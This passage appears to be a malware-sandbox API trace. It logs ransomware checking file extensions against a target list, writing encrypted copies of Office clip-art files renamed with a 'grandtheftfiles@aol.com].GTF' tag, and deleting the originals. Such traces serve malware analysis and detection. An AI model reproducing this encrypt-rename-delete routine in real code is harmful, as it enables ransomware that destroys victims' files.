	[0181.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.319] lstrlenW (lpString=".zip") returned 4
	[0181.319] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.319] lstrlenW (lpString=".rar") returned 4
	[0181.319] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.319] lstrlenW (lpString=".bz2") returned 4
	[0181.319] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.319] lstrlenW (lpString=".7z") returned 3
	[0181.319] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.319] lstrlenW (lpString=".dbf") returned 4
	[0181.319] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.319] lstrlenW (lpString=".1cd") returned 4
	[0181.319] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.319] lstrlenW (lpString=".jpg") returned 4
	[0181.319] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.319] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0181.319] lstrlenW (lpString="J0178639.JPG") returned 12
	[0181.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.489] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32038) returned 1
	[0181.489] CloseHandle (hObject=0x568) returned 1
	[0181.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 0x220
	[0181.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0181.968] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.980] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.170] GetLastError () returned 0x0
	[0182.173] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7d26, lpOverlapped=0x0) returned 1
	[0182.176] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7d30, lpOverlapped=0x0) returned 1
	[0182.177] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.177] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.177] SetEndOfFile (hFile=0x558) returned 1
	[0182.177] CloseHandle (hObject=0x558) returned 1
	[0182.177] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.177] SetEndOfFile (hFile=0x428) returned 1
	[0182.180] CloseHandle (hObject=0x428) returned 1
	[0182.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 1
	[0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.181] lstrlenW (lpString=".doc") returned 4
	[0182.181] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.181] lstrlenW (lpString=".docx") returned 5
	[0182.181] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.181] lstrlenW (lpString=".pdf") returned 4
	[0182.181] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.181] lstrlenW (lpString=".xls") returned 4
	[0182.181] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.181] lstrlenW (lpString=".xlsx") returned 5
	[0182.181] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.181] lstrlenW (lpString=".ppt") returned 4
	[0182.181] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.181] lstrlenW (lpString=".zip") returned 4
	[0182.182] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString=".rar") returned 4
	[0182.182] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString=".bz2") returned 4
	[0182.182] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.182] lstrlenW (lpString=".7z") returned 3
	[0182.182] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString=".dbf") returned 4
	[0182.182] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString=".1cd") returned 4
	[0182.182] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString=".jpg") returned 4
	[0182.182] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString=".doc") returned 4
	[0182.182] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0182.182] lstrlenW (lpString=".docx") returned 5
	[0182.182] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0182.182] lstrlenW (lpString=".pdf") returned 4
	[0182.182] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString=".xls") returned 4
	[0182.182] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString=".xlsx") returned 5
	[0182.182] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0182.182] lstrlenW (lpString=".ppt") returned 4
	[0182.182] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.182] lstrlenW (lpString=".zip") returned 4
	[0182.182] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0182.182] lstrlenW (lpString=".rar") returned 4
	[0182.182] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0182.183] lstrlenW (lpString=".bz2") returned 4
	[0182.183] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0182.183] lstrlenW (lpString=".7z") returned 3
	[0182.183] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0182.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.183] lstrlenW (lpString=".dbf") returned 4
	[0182.183] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0182.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.183] lstrlenW (lpString=".1cd") returned 4
	[0182.183] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0182.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68
	[0182.183] lstrlenW (lpString=".jpg") returned 4
	[0182.183] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0182.183] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.183] lstrlenW (lpString="J0185670.WMF") returned 12
	[0182.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.184] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7304) returned 1
	[0182.184] CloseHandle (hObject=0x428) returned 1
	[0182.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 0x220
	[0182.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.185] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.185] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.186] GetLastError () returned 0x0
	[0182.186] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1c88, lpOverlapped=0x0) returned 1
	[0182.187] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0182.188] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.188] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.188] SetEndOfFile (hFile=0x558) returned 1
	[0182.188] CloseHandle (hObject=0x558) returned 1
	[0182.188] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.189] SetEndOfFile (hFile=0x428) returned 1
	[0182.192] CloseHandle (hObject=0x428) returned 1
	[0182.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 1
	[0182.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.193] lstrlenW (lpString=".doc") returned 4
	[0182.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.193] lstrlenW (lpString=".docx") returned 5
	[0182.193] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.193] lstrlenW (lpString=".pdf") returned 4
	[0182.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.193] lstrlenW (lpString=".xls") returned 4
	[0182.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.193] lstrlenW (lpString=".xlsx") returned 5
	[0182.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.193] lstrlenW (lpString=".ppt") returned 4
	[0182.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.193] lstrlenW (lpString=".zip") returned 4
	[0182.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.193] lstrlenW (lpString=".rar") returned 4
	[0182.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString=".bz2") returned 4
	[0182.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString=".7z") returned 3
	[0182.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString=".dbf") returned 4
	[0182.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString=".1cd") returned 4
	[0182.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString=".jpg") returned 4
	[0182.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString=".doc") returned 4
	[0182.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString=".docx") returned 5
	[0182.194] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0182.194] lstrlenW (lpString=".pdf") returned 4
	[0182.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString=".xls") returned 4
	[0182.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.194] lstrlenW (lpString=".xlsx") returned 5
	[0182.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0182.194] lstrlenW (lpString=".ppt") returned 4
	[0182.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.194] lstrlenW (lpString=".zip") returned 4
	[0182.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.194] lstrlenW (lpString=".rar") returned 4
	[0182.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.194] lstrlenW (lpString=".bz2") returned 4
	[0182.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.195] lstrlenW (lpString=".7z") returned 3
	[0182.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.195] lstrlenW (lpString=".dbf") returned 4
	[0182.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.195] lstrlenW (lpString=".1cd") returned 4
	[0182.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68
	[0182.195] lstrlenW (lpString=".jpg") returned 4
	[0182.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.195] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.195] lstrlenW (lpString="J0185774.WMF") returned 12
	[0182.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.196] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20038) returned 1
	[0182.196] CloseHandle (hObject=0x428) returned 1
	[0182.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 0x220
	[0182.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.200] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.200] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0182.201] GetLastError () returned 0x0
	[0182.201] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x4e46, lpOverlapped=0x0) returned 1
	[0182.203] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x4e50, lpOverlapped=0x0) returned 1
	[0182.204] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.204] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.204] SetEndOfFile (hFile=0x558) returned 1
	[0182.204] CloseHandle (hObject=0x558) returned 1
	[0182.204] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.205] SetEndOfFile (hFile=0x428) returned 1
	[0182.210] CloseHandle (hObject=0x428) returned 1
	[0182.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 1
	[0182.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.540] lstrlenW (lpString=".doc") returned 4
	[0182.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.540] lstrlenW (lpString=".docx") returned 5
	[0182.540] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0182.540] lstrlenW (lpString=".pdf") returned 4
	[0182.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.540] lstrlenW (lpString=".xls") returned 4
	[0182.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.540] lstrlenW (lpString=".xlsx") returned 5
	[0182.540] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0182.540] lstrlenW (lpString=".ppt") returned 4
	[0182.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.540] lstrlenW (lpString=".zip") returned 4
	[0182.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.540] lstrlenW (lpString=".rar") returned 4
	[0182.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.540] lstrlenW (lpString=".bz2") returned 4
	[0182.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.540] lstrlenW (lpString=".7z") returned 3
	[0182.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".dbf") returned 4
	[0182.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".1cd") returned 4
	[0182.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".jpg") returned 4
	[0182.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68
	[0182.541] lstrlenW (lpString=".doc") returned 4
	[0182.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString=".docx") returned 5
	[0182.541] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0182.541] lstrlenW (lpString=".pdf") returned 4
	[0182.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.541] lstrlenW (lpString=".xls") returned 4
	[0182.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.541] lstrlenW (lpString=".xlsx") returned 5
	[0182.541] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0182.541] lstrlenW (lpString=".ppt") returned 4
	[0182.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
